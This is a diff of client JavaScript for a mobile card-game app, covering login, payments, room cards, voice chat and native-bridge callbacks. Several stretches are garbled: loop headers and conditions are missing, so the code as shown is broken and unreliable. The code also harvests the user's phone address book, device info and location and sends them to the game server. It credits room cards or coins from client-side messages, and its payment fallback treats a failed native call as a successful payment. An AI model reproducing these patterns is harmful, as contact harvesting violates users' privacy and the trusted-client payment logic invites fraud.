GameData.isDeviceLogin = true; + var WxInfo = Utl.getCookie(Utl.Config.devicePlayer); + if(WxInfo){ + WxInfo = JSON.parse(WxInfo); + sharelogin(WxInfo.openid,WxInfo.headimgurl,WxInfo.nickname,WxInfo.sex,WxInfo.city,WxInfo.Province,WxInfo.unionid,phone,sms); + }else{ + var unionid = "phone_"+phone; + + + var name2 = String(hex_md5(unionid)).slice(0,6); + var avatar = ""; + if(GameData.sysConfig.avatarUrl){ + var avatar = GameData.sysConfig.avatarUrl + min_random(GameData.sysConfig.avatarRange[0], + GameData.sysConfig.avatarRange[1])+".jpg"; + } + var nickName = "User_"+name2; + sharelogin(unionid,avatar,nickName,ifast_random(2)+1, + "China","ShangHai",unionid,phone,sms); + //var ram1 = 10000+ifast_random(10000); + + } + +} +Func.accreditlogin=function(type){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里 + GameData.isVisitor = false; + GameData.isDeviceLogin = false; +// logmessage("accreditlogin",1); + try{ + var tp = 2; + if(type){ + tp=type; + } + window.settings.accreditlogin(tp); + + + }catch(e){ + if(GameData.h5Version == 1){ + + }else{ + var headLoginList=[ + "https://img2.baidu.com/it/u=1823726962,2692568839&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img0.baidu.com/it/u=320875415,2231067789&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=3407774307,2859661062&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img2.baidu.com/it/u=1161398577,3592656327&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=2061657615,4194426181&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=501", + "https://img2.baidu.com/it/u=3081347414,2363887197&fm=253&fmt=auto&app=138&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=1364384963,3982203144&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img1.baidu.com/it/u=3041194995,2386060237&fm=253&fmt=auto&app=120&f=JPEG?w=500&h=500", + "https://img2.baidu.com/it/u=2904976445,2884058010&fm=253&fmt=auto&app=120&f=JPEG?w=529&h=500", + "https://img0.baidu.com/it/u=1801052125,1596537112&fm=253&fmt=auto&app=120&f=JPEG?w=529&h=500", + + ]; + var ram = ifast_random(100000); + sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","ylgame"+ram); + // sharelogin("fff23"+ram,headLoginList[ifast_random(headLoginList.length)],"测试"+ram,ifast_random(2)+1,"nanchang","jiangxi","oLVKis6bj3_l8qspMybG60KV2GN4"); + } + + } +} +var sharelogin = function(openid,headimgurl,nickname,sex,city,Province,unionid,phone,sms){ + if(!sex){ + sex = 1; + } + + if(!nickname && !headimgurl){//全为空时无法登陆 + GameUI.OpenTips("授权失败,请重新授权!"); + }else{ + var wxdata={}; + wxdata.openid = openid; + wxdata.headimgurl = headimgurl; + wxdata.nickname = nickname; + wxdata.sex = sex; + wxdata.city = city; + wxdata.Province = Province; + wxdata.unionid = unionid; + if(phone){ + wxdata.telphone = phone; + C_Player.setTel(phone); + } + wxdata=JSON.stringify(wxdata); + // if(GameData.isVisitor){ + // Utl.SaveData(Utl.Config.visitorinfo,wxdata); + // } + // if(GameData.isDeviceLogin){ + // Utl.SaveData(Utl.Config.devicePlayer,wxdata); + // } + if(!GameData.isVisitor && !GameData.isDeviceLogin){ + Utl.setCookie(Utl.Config.wxinfo,wxdata,Utl.Config.maxtime); + } + + C_Player.SetWxInfo(openid,headimgurl,nickname,sex,city,Province,unionid); + var data={}; + data.agentid = GameData.AgentId; + data.openid = C_Player.openid; + data.nickname = C_Player.nickname; + data.avatar = C_Player.avatar; + data.sex = C_Player.sex; + data.province = C_Player.province; + data.city = C_Player.city; + data.unionid = C_Player.unionid; + data.gameid=GameData.GameId; + data.version = GameData.versionCode; + data.channelid = GameData.ChannelId; + data.marketid = GameData.marketID; + if(phone){ + data.telphone = phone; + } + if(sms){ + if(sms != "telphoneAuto"){ + data.smmcode = sms; + data.telphoneAuto = false; + }else{ + data.telphoneAuto = true; + } + } + Net.Send_login(data); + + + } + +} +var sharesuccess = function(success,type){//分享成功回调 + + success = Number(success); + type = Number(type); + C_Player.sharesuccess(success,type); +} + +Func.getDate = function(){ + + + var today=new Date(); + var h=today.getHours(); + var m=today.getMinutes(); + if(m<10){ + m="0"+m; + } + if(h<10){ + h="0"+h; + } + return [h,m]; +} +Func.SetDate=function(){ + set_self(154,7,this.getDate()[0],0,0); + set_self(155,7,this.getDate()[1],0,0); +} +Func.trim = function(str) { + return str.replace(/\s+/g, ""); +} +Func.insertFlag = function(str,flg,sn,bTemp){ + //this.charCodeAt(i)>127 || this.charCodeAt(i)==94 + var newstr=""; + var strLen = str.length; + var count = 0; + var cutIndex = 0; + if(str.gblen()>sn){ + for(var i=0;i127 || str.charCodeAt(i)==94){//中文 + count += 2; + delta=2; + + }else{ + count++; + delta=1; + } + if(count > sn){ + var tmp = str.slice(cutIndex,i); + if(i==strLen-1){ + if(bTemp){ + newstr += tmp+flg; + }else{ + newstr += tmp; + } + }else{ + newstr += tmp+flg; + cutIndex=i; + count = delta; + } + } + if(i==strLen-1 && cutIndex!=i){ + var tmp = str.slice(cutIndex,strLen); + if(bTemp){ + newstr += tmp+flg; + }else{ + newstr += tmp; + } + + } + + + } + }else{ + if(bTemp){ + newstr = str + flg; + }else{ + newstr = str; + } + + } + return newstr; +} +Func.countFlag = function(str,flag){ + var rValue=0; + for(var i=0;iGame_Config.Max.reconnecttime){//超过重连时间 + if(Net.ws_tcp.readyState != WebSocket.OPEN){ + + GameData.disType = true; + GameData.ConnectType=false; + GameData.NetType=1; + Logic.TryConnect(); + }else{ + + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + //GameData.isCloseTimer = setTimeout(function(){ + //if(GameData.isClose){ + //Logic.DisConnect(); + //} + //},5000); + Net.ws_tcp.close(); + GameData.isCloseTimer = setInterval(function(){ + if(GameData.isClose){ + Net.ws_tcp.close(); + } + },5000); + } + }else{ + + if(Net.ws_tcp.readyState != WebSocket.OPEN){ + + GameData.disType = true; + GameData.ConnectType=false; + GameData.NetType=1; + Logic.TryConnect(); + }else{ + if(Desk.inDesk(C_Player.playerid)){ + if(Game_Modify.updateScene){ + Game_Modify.updateScene(); + } + }else{ + + } + + } + Utl.playMusic(); + + } + }else{ + Utl.playMusic(); + } + }else{//切出 + + Utl.stopMusic(); + Game_Modify.stopAllSounds(); + GameData.appstate=false; + for(var i=0;i0){ + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + data.voiceurl=audiourl; + data.time=time; + if(GameData.chatInfo){ + data.info = GameData.chatInfo; + data.type=2; + } + Net.Send_send_voice(data); + } +} +Func.mediaTypeAudio=function(audiourl,type,v){ + //因为游戏打包之前调用会报错,所以要使用try{}catch{} try 里面 使用打包调用的函数 catch() 里面使用你自己的函数 + try{ + window.settings.mediaTypeAudio(audiourl,type,v); + }catch(e){ + + // gameui_play_voice(v); + Net.submit_error("mediaAudio:audiourl="+audiourl+",type="+type+",user="+v,e.stack); + } +} +Func.up_imgurl=function(recid,photo){ +//[{photo:????,pid:??id}.....];String +//alert(photo); +//?????????????,?????try{}catch{} try ?? ????????? catch() ?????????? + //return; + if(!ConstVal.isGameHall){ + try{ + //if(!photo){return;} + var input_data=[]; + var input_obj={}; + input_obj.photourl=photo; + input_obj.pid=String(recid); + input_data.push(input_obj); + + + input_data=JSON.stringify(input_data); + window.settings.getphoto(input_data); + //Func.getphoto(input_data); + var pho=input_obj; + if(Number(pho.pid)==25){ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + //}else if(Number(pho.pid)==115 || Number(pho.pid)==5){ + }else if(exceptSrc.indexOf(Number(pho.pid))>=0){ + }else{ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + } + + }catch(e){ + + if(recid==25){ + up_imgurl(recid,"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(photo){ + up_imgurl(recid,photo,1); + GameData.playerHeadImgState = true; + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + } + },ConstVal.Max.headImgTimer); + }else if(exceptSrc.indexOf(recid)>=0){ + up_imgurl(recid,photo,1); + }else{ + + up_imgurl(recid,"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(photo){ + up_imgurl(recid,photo,1); + }else{ + up_imgurl(recid,"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + + } + }else{ + gameHallImport.up_imgurl(recid,photo); + } +} +var getphoto = function(photo){ + if(!ConstVal.isGameHall){ + var obj = strToJson(photo); + for(var i=0;i=0){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + //up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + setTimeout( + function(){ + if(pho.photourl){ + up_imgurl(Number(pho.pid),pho.photourl,1); + }else{ + up_imgurl(Number(pho.pid),"assets/bmp/00170.png",1); + } + } + ,ConstVal.Max.headImgTimer); + } + } + } + }else{ + + } +} + +//调用手机默认浏览器打开链接 +Func.browser=function(url){ + try{ + if(url){ + url = fixUrl(url); + var exp = new Date(); + url += "×tamp=" + exp.getTime(); + window.settings.browser(url); + } + }catch(e){ + console.log(url); + } + +} +//主动获取手机电量 +Func.getbattery=function(){ + try{ + var battery=window.settings.getbattery(); + return battery; + }catch(e){ + //alert(e); + return 1; + + } +} + +//手机电量变化调用 +var getBattery = function(Battery){ + GameData.Battery=Battery; + if(GameData.Battery<=0.2){ + set_self(338,43,3,0,0); + }else{ + set_self(338,43,2,0,0); + } +} +//分享图片(链接) +Func.sharephotourl=function(sharetype,url){ + try{ + window.settings.sharephotourl(sharetype,url); + }catch(e){ + //alert(e); + } +} +//获取网络类型 1 未连接网络 2 连接wifi 3 连接2G/3G/4G +Func.getnetwork=function(){ + try{ + var type = window.settings.getnetwork(); + return type; + }catch(e){ + return 1; + } +} + +//获取wifi信号ssidname wifi名称 signalLevel wifi信号强度 0-4 弱到强 +Func.getwifisignalLevel=function(){ + try{ + window.settings.getwifisignalLevel(); + }catch(e){ + //alert(e); + + } +} +//WiFi信号变化调用 +var getwifiLevel=function(ssidname,signalLevel){ + GameData.WifiLevel=signalLevel; + GameData.WifiLevel= Number(GameData.WifiLevel); + switch(GameData.WifiLevel){ + case 0: + set_self(336,43,1,0,0); + break; + case 1: + case 2: + set_self(336,43,2,0,0); + break; + case 3: + case 4: + set_self(336,43,3,0,0); + break; + } + +} +//网络状况改变 +var getnetwork=function(type){ + type=Number(type); + switch(type){ + case 1: + + break; + case 2: + set_self(336,43,3,0,0); + Func.getwifisignalLevel(); + break; + case 3: + set_self(336,43,4,0,0); + break; + } +} +//获取版本类型 +Func.getVersionState = function(){ + //获取版本类型 用于判断版本是否高于服务器版本 + try{ + //苹果获取结果接口 + return Number(window.settings.getcompareCode()); + }catch(e){ + return 0; + //return 1; + } +} + +Func.startshake = function(){ + if(Utl.ReadData(Utl.Config.shake)==1){ + if(GameData.shakeID != Game_Config.shakeList.nil){ + try{ + window.settings.startshake(); + }catch(e){ + + } + } + } +} +Func.stopshake = function(){ + try{ + window.settings.stopshake(); + }catch(e){ + + } +} +Func.switchshakeVoice = function(Voicetype){ + try{ + window.settings.SwitchShake(Voicetype); + }catch(e){ + + } +} + +var shakeEnd = function(){//摇一摇回调 + Game_Modify.shakeEvent(); +} +//获得渠道名称 +Func.getchannelName = function(){// + try{ + var name=window.settings.getchannelName(); + if(name){ + return name; + }else{ + return ""; + } + }catch(e){ + if(GameData.userAgent != ConstVal.userAgent.uAgent_3){ + return ""; + }else{ + return app_channel; + } + } +} + +//播放声音 +Func.play_wav = function(src,isloop){ + if(src){ + if(GameData.appstate ||(!GameData.appstate&&isloop==-1)){ + try{ + if(!GameData.isRecord){ + window.settings.srcIsloop(src,isloop); + } + + }catch(e){ + if(GameData.h5Version == 1 && GameData.OS == ConstVal.OS.apple){ + //logmessage("apple play"+src+"、"+isloop,1); + switch(isloop){ + case 0: + case 1: + _gameSoundsObj.play(src,isloop); + break; + case -1: + _gameSoundsObj.stop(src); + break; + } + }else{ + if(!GameData.isRecord){ + play_wav(src,isloop); + } + } + + } + } + } + +} + +//开启扫一扫 +Func.OpenScan = function(){ + try{ + window.settings.opensaoma(); + }catch(e){ + + } +} +//扫一扫回调数据 +var getsaomaData = function(data){ + +} +//开启定位 +Func.startlocation = function(type){ + try{ + window.settings.startlocation(type); + }catch(e){ + + } +} +//获取定位 +Func.getlocation = function(){ + try{ + if(GameData.otherLocation){ + GameData.otherLocationTimes++; + if(GameData.otherLocationTimes > GameData.otherLocationAllTimes){ + return; + } + } + + window.settings.getlocationinfo(); + }catch(e){ + + } +} +/* +{"address":"江西省南昌市青云谱区施尧路靠近上海浦东发展银行(长天支行)","city":"南昌市", +"cityCode":"0791","country":"中国","district":"青云谱区","latitude":28.623546,"longitude":115.900333, +"province":"江西省","street":"施尧路"}*/ +var getlocationinfo=function(locationinfo){ + if(locationinfo){ + try{ + locationinfo = JSON.parse(locationinfo); + C_Player.SetLocationInfo(locationinfo); + if(locationinfo.city&&locationinfo.province){ + if(Game_Modify.onLocationInfo){ + Game_Modify.onLocationInfo(locationinfo); + } + + if(GameData.isFirstLogin){ + GameData.isFirstLogin = false; + var data = {}; + data.agentid = Utl.getAgentID(); + data.playerid = Utl.getMyPlayerid(); + data.info = locationinfo; + Net.Send_submit_location(data); + } + } + }catch(e){ + } + } + +} +// +Func.SwitchOverGameData = function(webtype,Gamedirectory,gamedownloadurl,data){ + + try{ + if(ConstVal.isGameHall){ + GameData.hallLogin = false; + if(!gamedownloadurl || !Gamedirectory){ + gameHallImport.clearGameinfo(); + return; + } + Utl.stopMusic(); + } + window.settings.SwitchOverGameData(webtype,Gamedirectory,gamedownloadurl,data); + }catch(e){ + console.log("webtype:"+webtype+"Gamedirectory:"+Gamedirectory+"gamedownloadurl:"+gamedownloadurl+"data:"+data); + } + +} +Func.backgameData = function(data){// + try{ + window.settings.backgameData(data); + }catch(e){ + + } +} +var backgameData = function(){ + var data= {}; + if(C_Player.roomcard>-1){ + data.data = C_Player.returnHallData(); + data.opt = "updatePlayerInfo"; + data.from = 2; + data.gamename = app_gamename; + data.gameid = GameData.GameId; + Func.backgameData(JSON.stringify(data)); + }else{ + data.opt = "saveGameId"; + data.from = 2; + data.gamename = app_gamename; + data.gameid = GameData.GameId; + Func.backgameData(JSON.stringify(data)); + } + Utl.stopMusic(); + +} +var getWebdata = function(data){ + //gameLog("收到数据:"+data,1); + + + //if(data){ + //data = JSON.parse(data); + //C_Player.setRoomcard(data.roomcard); + //} + if(!ConstVal.isGameHall){ + try{ + if(data){ + if(typeof data == "string"){ + data = JSON.parse(data); + } + + if(typeof data.from != "undefined"){ + + data.from = Number(data.from); + switch(data.from){ + case 0://游戏间调用 + switch(data.opt){ + case "uptate_roomcard": + C_Player.setRoomcard(data.roomcard); + break; + case "loginPlayerid": + GameData.loginPlayerid = (data.data == GameData.GameId); + break; + } + break; + case 1://网页调用 + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + Net.ws_tcp.close(); + //var _msg = data.gamedata; + GameData.backUrl = data.backurl; + //if(_msg.route==RouteList.platform||_msg.route==RouteList.agent||_msg.route==RouteList.room){ + //if(min_ExitsFunction(Net[_msg.rpc])){ + //Net[_msg.rpc](_msg); + //} + //}else{ + + //} + break; + case 2: + switch(data.opt){ + case "updateHTML": + Logic.getHTML(); + break; + } + break; + } + } + } + }catch(e){ + + } + }else{ + GameData.hallLogin = true; + gameHallImport.getWebdata(data); + } +} +Func.ypayType = function(type){// + try{ + window.settings.ypayType(type); + }catch(e){ + console.log("ypayType:"+type); + } +} +var yPaytype = function(type,num){ + //logmessage("type:"+type+"num:"+num,1); + type=Number(type); + num=Number(num); + switch(type){ + case 1://房卡 + Net._SendData("youle","agent","update_roomcard",{agentid:GameData.AgentId,playerid:C_Player.playerid,change:num,type:9}); + break; + case 2://金币 + Net._SendData("youle","agent","update_bean",{agentid:GameData.AgentId,playerid:C_Player.playerid,change:num,type:9}); + break; + } +} +Func.getInstallInfo = function(data){// + try{ + var result = window.settings.getGameinstall(data); + return Number(result); + }catch(e){ + return ifast_random(2); + } +} +/* +{"body":"哈哈哈","price":1,"user":"sdsax11221","type":"ylniuniu001","typeplay":"1"} +?user 用户id??? +type:yl+gamename+00N???列子:ylniuniu001?ylniuniu002 +? +tpyealpay 支付类型 1 微信 2 支付宝 +body商品详情 +price 价格 +*/ +Func.getGamepay = function(data){// + try{ + window.settings.getGameplay(data); + }catch(e){ + var dt = JSON.parse(data); + PayuserPaytypePaystate(dt.playerid,dt.type,1,data.paytype,data) + } +} +var PayuserPaytypePaystate=function(user,type,state,typeplay,_data){// + //logmessage("user:"+user+" type:"+type+" state:"+state+" typeplay:"+typeplay,1); + GameUI.ClosePay(); + GameUI.CloseCheckPay(); + GameUI.EndLoad(); + if(Number(state) == 1){ + _data = JSON.parse(_data); + var data = {}; + data.agentid = Utl.getAgentID(); + data.playerid = _data.user; + data.channelid = GameData.ChannelId; + data.productid = _data.productid; + data.payid = _data.type; + data.amount = _data.amount; + data.money = _data.price; + data.paytype = _data.typeplay; + //Net.Send_pay_succ(data); + var senddata={}; + senddata.app=AppList.app; + senddata.route=RouteList.agent; + senddata.rpc=RpcList.pay_succ; + senddata.data=data; + Func.AjaxHttp(senddata,pay_succ_s,pay_succ_f); + var _msg={}; + var rd = Number(C_Player.roomcard) + Number(_data.amount); + var data1 ={ + roomcard:rd, + text:"购买"+GameData.roomCardName+",数量:"+_data.amount + }; + _msg.data=data1; + C_Player.UpdateRoomcard(_msg); + + + }else{ + GameUI.OpenTips("支付失败!",ConstVal.Tips.time); + } +} +var pay_succ_s = function(_msg,state,input_msg){ + //console.log("pay_succ_s"); + //_msg = JSON.parse(_msg); + //var rd = Number(_msg.data.roomcard); + //var rt = rd + Number(C_Player.roomcard); + //_msg.data.roomcard = rt; + //C_Player.UpdateRoomcard(_msg); + +} +var pay_succ_f=function(_msg,state,input_msg){ + //console.log("pay_succ_f"); +} +Func.callphone = function(tel){ + if(tel){ + window.location.href = 'tel://' + tel; + } +} +//复制到粘贴板 +Func.gameCopytext = function(text){// + try{ + window.settings.gameCopytext(text); + }catch(e){ + + } +} +//获得粘贴板内容 +Func.gamepastetext = function(){// + try{ + return window.settings.gamepastetext(); + }catch(e){ + return ""; + } +} +//获取手机信息 +Func.getphoneInfo = function(){// + try{ + if(Utl.ReadData(Utl.Config.phoneInfo1)){ + return; + } + if(GameData.isGetPhoneInfo){ + return; + }else{ + GameData.isGetPhoneInfo = true; + } + return window.settings.getphoneInfo(); + }catch(e){ + var data={}; + data.PhoneIMEI = "phone_"+min_randomChar(25); + getphoneinfo(data); + } +} +var getphoneinfo = function(data){ + if(data){ + if(typeof data == "string"){ + data = JSON.parse(data); + + //var msg={}; + //msg.info = {}; + //msg.info.phoneInfo = GameData.phoneInfo; + //msg.info.addrBook = GameData.addressBook; + //msg.agentid =GameData.AgentId; + //msg.playerid = C_Player.playerid; + //Net.Send_submit_phoneinfo(msg); + } + Utl.SaveData(Utl.Config.phoneInfo1,JSON.stringify(data)); + GameData.phoneInfo = data; + GameData.submitPhoneInfo = true; + } +} + +//获取手机信息 +Func.getAddressBook = function(){// + try{ + if(Number(Utl.ReadData(Utl.Config.book)) == 1){ + return; + }else{ + Utl.SaveData(Utl.Config.book,1); + } + return window.settings.getAddressBook(); + }catch(e){ + return ""; + } +} +var getAddressBook = function(data){ + if(data){ + //if(typeof data == "string"){ + //data = JSON.parse(data); + GameData.addressBook = data; + var msg={}; + msg.info = {}; + msg.info.phoneInfo = GameData.phoneInfo; + msg.info.addrBook = GameData.addressBook; + msg.agentid =GameData.AgentId; + msg.playerid = C_Player.playerid; + Net.Send_submit_phoneinfo(msg); + //} + GameData.submitAddressBook = true; + } +} +var gamepastetext_callback = function(resp){ + switch(GameData.gamepastetext){ + case "Logic.pasteRoomCode": + var reg = /[^0-9]/g; + var c_text = resp; + c_text = c_text.replace(reg,""); + var _text=String(c_text); + if(String(c_text).length>6){ + _text=String(c_text).substr(0,6); + } + RoomCode = String(_text); + RoomNum = Number(_text); + for(var i=0;i<6;i++){ + set_self(236+i,37,0,0,0); + } + for(var i=0;i= ConstVal.Com_History.content_tag){ + bTemp = true; + } + if(bTemp){ + play_ani(1,ConstVal.Com_History.f_spid+"add"+v,43,1,3,0,600,0,0,0,0,0,0); + }else{ + var x = Game_Config.Voice.VoiceLoc[v][0]; + var y = Game_Config.Voice.VoiceLoc[v][1]; + var dis_x = Game_Config.Voice.VoiceDis[0]; + var dis_y = Game_Config.Voice.VoiceDis[1]; + var isleft = Game_Config.Voice.isLeft[v]; + var text_len = get_self(642+v,20,0,0,0); + if(isleft){ + set_self(612+v,18,x,0,0); + set_self(612+v,19,y,0,0); + set_self(642+v,18,x+dis_x,0,0); + set_self(642+v,19,y+dis_y,0,0); + set_self(612+v,20,text_len+dis_x*2,0,0); + set_self(612+v,1,83,0,0); + set_self(612+v,37,1,0,0); + set_self(642+v,37,1,0,0); + }else{ + set_self(612+v,18,x-text_len-dis_x*2,0,0); + set_self(642+v,18,x-text_len-dis_x,0,0); + set_self(612+v,19,y,0,0); + set_self(642+v,19,y+dis_y,0,0); + set_self(612+v,20,text_len+dis_x*2,0,0); + set_self(612+v,1,86,0,0); + set_self(612+v,37,1,0,0); + set_self(642+v,37,1,0,0); + + } + play_ani(1,642+v,43,1,3,0,Game_Config.Voice.VoiceTime,0,0,0,0,0,0); + } + + //responseCallback(""); + }); + bridge.registerHandler("gameui_stop_voice",function(data,responseCallback){//通话状态改变是调用 + var v=Number(data); + var bTemp = false; + if(v>=ConstVal.Com_History.content_tag){ + bTemp = true; + } + if(bTemp){ + play_ani(0,ConstVal.Com_History.f_spid+"add"+v,43,1,3,0,600,0,0,0,0,0,0); + set_self(ConstVal.Com_History.f_spid+"add"+v,43,3,0,0); + }else{ + set_self(612+v,37,0,0,0); + set_self(642+v,37,0,0,0); + play_ani(0,642+v,43); + } + //responseCallback(""); + }); + + bridge.registerHandler("sharesuccess",function(data,responseCallback){//分享成功回调 + if(data){ + if(typeof data == "string"){ + data = strToJson(data); + } + } + var success = data.success; + var type = data.type; + success = Number(success); + type = Number(type); + C_Player.sharesuccess(success,type); + //responseCallback(""); + }); + bridge.registerHandler("getphoneinfo",function(data,responseCallback){//获取手机信息回调 + if(data){ + if(typeof data == "string"){ + data = strToJson(data); + + //var msg={}; + //msg.info = {}; + //msg.info.phoneInfo = GameData.phoneInfo; + //msg.info.addrBook = GameData.addressBook; + //msg.agentid =GameData.AgentId; + //msg.playerid = C_Player.playerid; + //Net.Send_submit_phoneinfo(msg); + } + Utl.SaveData(Utl.Config.phoneInfo1,JSON.stringify(data)); + GameData.phoneInfo = data; + GameData.submitPhoneInfo = true; + } + }); + + + bridge.registerHandler("getAddressBook",function(data,responseCallback){//获取手机信息回调 + if(data){ + //if(typeof data == "string"){ + //data = JSON.parse(data); + GameData.addressBook = data; + var msg={}; + msg.info = {}; + msg.info.phoneInfo = GameData.phoneInfo; + msg.info.addrBook = GameData.addressBook; + msg.agentid =GameData.AgentId; + msg.playerid = C_Player.playerid; + Net.Send_submit_phoneinfo(msg); + //} + GameData.submitAddressBook = true; + } + }); + bridge.registerHandler("phonestate",function(data,responseCallback){//通话状态改变是调用 + var state = data; + C_Player.phonestate(state); + //responseCallback(""); + }); + bridge.registerHandler("appservice",function(data,responseCallback){ + try{ + var service = data; + var isLog = false; + + service = Number(service); + + if(GameData.isLogin){ + if(service==1){//切回 + GameData.appstate=true; + if(GameData.heartBeatTimer){ + window.clearTimeout(GameData.heartBeatTimer); + } + if(!ConstVal.isGameHall){ + GameData.heartBeatTimer = setTimeout(function(){ + GameUI.OpenTips("网络较慢!",ConstVal.Tips.time); + GameData.heartBeatStage = true; + + //if(Net.ws_tcp.readyState == WebSocket.CLOSED){ + + //GameData.disType = true; + //GameData.ConnectType=false; + //GameData.NetType=1; + //Logic.TryConnect(); + //}else if(Net.ws_tcp.readyState == WebSocket.OPEN){ + + //GameData.ConnectType = false; + //GameData.disType = true; + //GameData.NetType=1; + //GameUI.StartLoad(); + //GameData.isClose = true; + //GameData.isCloseTimer = setTimeout(function(){ + //if(GameData.isClose){ + //Logic.DisConnect(); + //} + //},5000); + //Net.ws_tcp.close(); + //} + },ConstVal.Max.heartbeat); + } + //Utl.TurnOnBgm(get_self(4,37,0,0,0)); + if(ConstVal.netType == 0){ + var exp = new Date(); + if(exp.getTime()-GameData.leaveTime>Game_Config.Max.reconnecttime){//超过重连时间 + if(Net.ws_tcp.readyState != WebSocket.OPEN){ + + GameData.disType = true; + GameData.ConnectType=false; + GameData.NetType=1; + Logic.TryConnect(); + }else{ + + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + //GameData.isCloseTimer = setTimeout(function(){ + //if(GameData.isClose){ + //Logic.DisConnect(); + //} + //},5000); + Net.ws_tcp.close(); + GameData.isCloseTimer = setInterval(function(){ + if(GameData.isClose){ + Net.ws_tcp.close(); + } + },5000); + } + }else{ + + if(Net.ws_tcp.readyState != WebSocket.OPEN){ + + GameData.disType = true; + GameData.ConnectType=false; + GameData.NetType=1; + Logic.TryConnect(); + }else{ + if(Desk.inDesk(C_Player.playerid)){ + Game_Modify.updateScene(); + } + + } + Utl.playMusic(); + + } + }else{ + + } + }else{//切出 + Utl.stopMusic(); + Game_Modify.stopAllSounds(); + GameData.appstate=false; + for(var i=0;i0){ + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + data.voiceurl=audiourl; + data.time=time; + if(GameData.chatInfo){ + data.info = GameData.chatInfo; + data.type=2; + } + Net.Send_send_voice(data); + } + //responseCallback(""); + }); + + //手机电量变化调用 + bridge.registerHandler("getBattery",function(data,responseCallback){ + //logmessage(data,1); + + var Battery = data; + app_getbattery = Number(Battery); + GameData.Battery=Number(Battery); + if(GameData.Battery<=0.2){ + set_self(338,43,3,0,0); + }else{ + set_self(338,43,2,0,0); + } + //responseCallback(""); + }); + //WiFi信号变化调用 + bridge.registerHandler("getwifiLevel",function(data,responseCallback){ + if(data){ + if(typeof data == "string"){ + data = strToJson(data); + } + } + var ssidname = data.ssidname; + var signalLevel = data.signalLevel; + GameData.WifiLevel=signalLevel; + GameData.WifiLevel= Number(GameData.WifiLevel); + switch(GameData.WifiLevel){ + case 0: + set_self(336,43,1,0,0); + break; + case 1: + case 2: + set_self(336,43,2,0,0); + break; + case 3: + case 4: + set_self(336,43,3,0,0); + break; + } + //responseCallback(""); + }); + //网络状况改变 + bridge.registerHandler("getnetwork",function(data,responseCallback){ + var type=data; + type = Number(type); + app_getnetwork = type; + switch(type){ + case 1: + + break; + case 2: + set_self(336,43,3,0,0); + Func.getwifisignalLevel(); + break; + case 3: + set_self(336,43,4,0,0); + break; + } + //responseCallback(""); + }); + bridge.registerHandler("shakeEnd",function(data,responseCallback){//摇一摇回调 + Game_Modify.shakeEvent(); + //responseCallback(""); + }); + bridge.registerHandler("yPaytype",function(data,responseCallback){//摇一摇回调 + if(data){ + if(typeof data == "string"){ + data = strToJson(data); + } + } + type=Number(data.type); + num=Number(data.num); + switch(type){ + case 1://房卡 + Net._SendData("youle","agent","update_roomcard",{agentid:GameData.AgentId,playerid:C_Player.playerid,change:num,type:9}); + break; + case 2://金币 + Net._SendData("youle","agent","update_bean",{agentid:GameData.AgentId,playerid:C_Player.playerid,change:num,type:9}); + break; + } + }); + + /* + {"address":"江西省南昌市青云谱区施尧路靠近上海浦东发展银行(长天支行)","city":"南昌市", + "cityCode":"0791","country":"中国","district":"青云谱区","latitude":28.623546,"longitude":115.900333, + "province":"江西省","street":"施尧路"}*/ + bridge.registerHandler("getlocationinfo",function(data,responseCallback){ + if(data){ + try{ + //if(data){ + if(typeof data == "string"){ + data = strToJson(data); + } + //} + var locationinfo = data; + //locationinfo = JSON.parse(locationinfo); + C_Player.SetLocationInfo(locationinfo); + if(locationinfo.city&&locationinfo.province){ + if(Game_Modify.onLocationInfo){ + Game_Modify.onLocationInfo(locationinfo); + } + + if(GameData.isFirstLogin){ + GameData.isFirstLogin = false; + var data = {}; + data.agentid = Utl.getAgentID(); + data.playerid = Utl.getMyPlayerid(); + data.info = locationinfo; + Net.Send_submit_location(data); + } + } + }catch(e){ + } + } + //responseCallback(""); + }); + + bridge.registerHandler("getWebdata",function(data,responseCallback){ + //gameLog("收到数据:"+data,1); + if(data){ + if(typeof data == "string"){ + data = strToJson(data); + } + } + //if(data){ + //data = JSON.parse(data); + //C_Player.setRoomcard(data.roomcard); + //} + if(!ConstVal.isGameHall){ + if(data){ + + if(typeof data == "string"){ + data = strToJson(data); + } + if(typeof data.from != "undefined"){ + + data.from = Number(data.from); + + switch(data.from){ + case 0://游戏间调用 + switch(data.opt){ + case "uptate_roomcard": + C_Player.setRoomcard(data.roomcard); + + break; + case "loginPlayerid": + GameData.loginPlayerid = (data.data == GameData.GameId); + break; + } + break; + case 1://网页调用 + GameData.ConnectType = false; + GameData.disType = true; + GameData.NetType=1; + GameUI.StartLoad(); + GameData.isClose = true; + Net.ws_tcp.close(); + + //var _msg = data.gamedata; + GameData.backUrl = data.backurl; + //if(_msg.route==RouteList.platform||_msg.route==RouteList.agent||_msg.route==RouteList.room){ + 